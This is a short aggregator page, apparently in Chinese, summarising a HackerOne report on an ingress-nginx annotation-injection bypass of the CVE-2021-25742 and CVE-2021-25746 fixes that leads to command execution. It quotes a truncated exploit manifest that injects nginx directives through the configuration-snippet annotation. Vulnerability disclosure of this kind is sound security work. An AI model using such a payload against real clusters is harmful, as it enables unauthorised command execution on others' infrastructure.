Ingress nginx annotation injection causes arbitrary command execution
该报告还没有中文解读。
原文摘录
摘自原文(3882 字符中的一小部分)
Summary: [add a summary of the vulnerability] For CVE-2021-25742 and CVE-2021-25746, I found a bypass method, which is fatal to the current measures taken by the team I can easily bypass restrictions and execute arbitrary commands in the express nginx container. Kubernetes Version: [add Kubernetes …
原文中的代码
cat > su.yml<<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-exploit
annotations:
kubernetes.io/ingress.class: "nginx"
nginx.ingress.kubernetes.io/configuration-snippet: |
more_set_headers "suanve"
proxy_pass http://upstream_balancer; …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Kubernetes 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @suanve · 版权归作者与 Kubernetes 所有